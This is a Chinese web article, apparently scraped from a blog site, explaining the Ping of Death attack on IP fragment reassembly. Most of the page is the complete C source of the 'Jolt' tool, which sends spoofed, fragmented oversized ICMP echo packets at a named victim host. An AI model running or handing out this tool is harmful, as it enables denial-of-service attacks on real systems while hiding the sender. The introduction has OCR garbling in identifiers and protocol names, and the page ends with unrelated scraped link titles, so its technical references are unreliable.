Ping of death(CA199260(或 Ping O death,国内有的译作“死亡之Png”)攻击利用协议实现时的漏洞CvE199028,向受害者发送超长的Ping数据包,导致受害者系统异常。根据TCPP规范RFC791要求,数据包的长度不得超过65535字节,其中包括至少20字节的包头和0字节或更多字节的选项信息,其余的则为数据。而 Internet控制消息协议CMP是基于P的,CMP包要封装到P包中?CMP的头有8字节
RFC792],因此,一个ICMP包的数据不能超过65535-20-8=65507字节。如果攻击者发送数据超过65507的Pig包到一个有此漏洞的受害者,则由于Ping包封装到IP包以后,总的数据量超过了P包长的限制,则数据包会经过分片。当数据包分片到达受害者系统时需要进行重组,在重组超过65536的P包时,受害者系统出现异常,可能导致系统崩溃、死机、重启等。事实上,对于有的系统,攻击者只需向其发送载荷数据超过400字节的Ping包就可以达到目的 Strother0,而不必使数据超过65507。
但是,如果直接用系统中提供的Png命令发送这么大的数据会怎么样呢?在Linux下,我们会看到如下的命令输出:

#ping -c 1 -s 65535 192.168.0.1

Error:packet size 65535 is to large.Maximum is 65507

说明 Linux只允许发送数据载荷不超过65507的Ping消息。

在 WindowsXP下会看到

那么是否就没办法了呢?下面的代码可以实现完成发送数据载荷大于65500的ping消息(在red hat linux7 内核版本2.4.7-10下调试通过)

/* Yah this is for linux, but i like the BSD ip header better then linux's */
#define __BSD_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>int main(int argc, char **argv)
{int s,i;char buf[400];struct ip *ip = (struct ip *)buf;struct icmphdr *icmp = (struct icmphdr *)(ip + 1);struct hostent *hp, *hp2;struct sockaddr_in dst;int offset;int on;int num = 5;if (argc < 3) {printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch by VallaH (yaway@hotmail.com)\n");printf("\nusage: %s <dstaddr> <saddr> [number]\n",argv[0]);printf("\tdstaddr is the host your attacking\n");printf("\tsaddr is the host your spoofing from\n");printf("\tNumber is the number of packets to send, 5 is the default\n");       printf("\nNOTE:  This is based on a bug that used to affect POSIX complient, and SYSV \n\t systems so its nothing new..\n");printf("\nGreets to Bill Gates! How do ya like this one? :-)\n");exit(1);}if (argc == 4) num = atoi(argv[3]);for (i=1;i<=num;i++) {on=1;bzero(buf, sizeof buf);if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) {perror("socket");exit(1);}if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {perror("IP_HDRINCL");exit(1);}if ((hp = gethostbyname(argv[1])) == NULL) {if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {fprintf(stderr, "%s: unknown host\n", argv[1]);exit(1);}} else {bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);}if ((hp2 = gethostbyname(argv[2])) == NULL) {if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) {fprintf(stderr, "%s: unknown host\n", argv[2]);exit(1);}} else {bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);}printf("Sending to %s\n", inet_ntoa(ip->ip_dst));ip->ip_v = 4;ip->ip_hl = sizeof *ip >> 2;ip->ip_tos = 0;ip->ip_len = htons(sizeof buf);ip->ip_id = htons(4321);ip->ip_off = htons(0);ip->ip_ttl = 255;ip->ip_p = 1;ip->ip_sum = 0;                 /* kernel fills in */dst.sin_addr = ip->ip_dst;dst.sin_family = AF_INET;icmp->type = ICMP_ECHO;icmp->code = 0;icmp->checksum = htons(~(ICMP_ECHO << 8));for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {ip->ip_off = htons(offset >> 3);if (offset < 65120)ip->ip_off |= htons(0x2000);elseip->ip_len = htons(418);  /* make total 65538 */if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,sizeof dst) < 0) {fprintf(stderr, "offset %d: ", offset);perror("sendto");}if (offset == 0) {icmp->type = 0;icmp->code = 0;icmp->checksum = 0;}}close(s);usleep(30000);}return 0;
}

用C语言实现死亡之ping相关推荐

  1. linux服务器防端口扫描,linux下防止syn***,端口扫描和死亡之ping

    http://downloads.sourceforge.net ... les-v0.0.3-3.tar.gz下载以后安装: tar zxvf arptables-v0.0.3-3.tar.gz c ...

  2. 死亡之Ping(Ping of Death)攻击

    由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓冲区,当产 ...

  3. 如何走出物联网死亡之井?

    作者 | 刘洪峰 责编 | 唐小引 出品 | CSDN(ID:CSDNnews) 犹记得 2009 年温总理的无锡之行,那句「感知中国」的物联网发展口号,到如今依然言犹在耳.一晃,中国的物联网发展之路 ...

  4. 用C语言实现linux的ping,用C语言实现Ping程序功能

    大部分人用ping命令只是作为查看另一个系统的网络连接是否正常的一种简单方法. 在这篇文章中,作者将介绍如何用C语言编写一个模拟ping命令功能的程序. ping命令是用来查看网络上另一个主机系统的网 ...

  5. C语言实现ICMP协议Ping命令

    From: http://www.360doc.com/content/12/0429/19/1317564_207540510.shtml 大部分人用ping命令只是作为查看另一个系统的网络连接是否 ...

  6. 第一个冷门与真正的死亡之组

    6月18日 本来以为阿根廷.荷兰.科特迪瓦.塞黑是真正的死亡之组,但是2个回合就已经明朗了,塞黑的莫名其 妙.科特迪瓦的无谋之勇成就了该组的阿根廷.荷兰.荷兰胜科特迪瓦个总觉得不大地道. 凌晨的捷克V ...

  7. 易语言程序假死优化_易语言假死无响应采用处理事件解决办法

    易语言假死无响应采用处理事件解决办法 处理事件() 一个比较简单的理解是:让程序反应过来 这个函数一般是用在延时前面或后面,如果不用的话程序很容易形成假死,造成程序无响应 如下图,虽然这个程序还在运行 ...

  8. “死亡之星”——“阿波非斯”

    2029年科学家即恐惧又兴奋-- 一小行星撞向地球? ------------------------------------------------------------------------- ...

  9. 驳“C语言已经死了”

    许式伟 2007-1-7 现在,有很多C/C++程序员总是自命不凡,看不起其他开发人员.其实,或许别人更看不起他呢! >> 有偏见的永远只是个体,而不是群体.作者加了后面那句,无疑证明有偏 ...

  10. 众筹,帮创业者跨过“死亡之谷”

    有人把创业的前三年叫作"死亡谷",但对创始人来说,也许上市前的这一段才是最黑暗的时候,就像一段隧道,你已走过三分之二,这时看不到前面的光亮,你自己也最没有信心."实际上, ...

最新文章

  1. 技术08期:十大经典数据挖掘算法【PageRank篇】
  2. 文件夹差异文件对比工具 meld
  3. 怎么用php操作mysql删除数据库代码_如何使用php操作mysql的增删改查?
  4. 现在电脑的主流配置_玩手游是因为电脑配置差?现在来告诉你这些网游需要啥配置...
  5. jasmine单元测试_使用Jasmine,Spock和Nashorn测试JVM服务器端JavaScript
  6. 工作380-js判断是否为空
  7. 三种编码器协议(Endat\BISS\SSI)
  8. 诺顿防毒软件曝漏洞 任意下载运行恶意代码(转)
  9. 1113 小胖子的时钟【水题】
  10. style是什么意思
  11. 完美解决No files matched pattern
  12. 聚焦时代起点 智启云上未来——IMPACT2018紫光云峰会在津举办
  13. [BZOJ1921] [CTSC2010]珠宝商
  14. mars3d中时间的转换
  15. 测试wince wifi漫游的方法(参考)
  16. 这个男人用8幅画刻画“父爱”,被暖化了
  17. HIbernate Lazy 常用配置
  18. 通过Node.js解析stl文件
  19. WordPress数据库文章表(字段说明)
  20. Go实战--golang中使用MongoDB(mgo)

热门文章

  1. 按方位提取高程数据的方法
  2. 目标检测的图像特征提取之(二)LBP特征
  3. iOS AVPlayer 使用总结
  4. Oracle 10g 手工创建一个最简单的数据库
  5. 面试字节、阿里等大厂后,总结了今年的 Java 面试必问的微服务面试题(含答案)
  6. 关于DLL注入的理解
  7. 深度学习教程(1) | 深度学习概论(吴恩达·完整版)
  8. Matlab画图程序
  9. WPS文字教你制作米字本即用于临摹练字的米字格
  10. 北京专业一般人小规模代理记账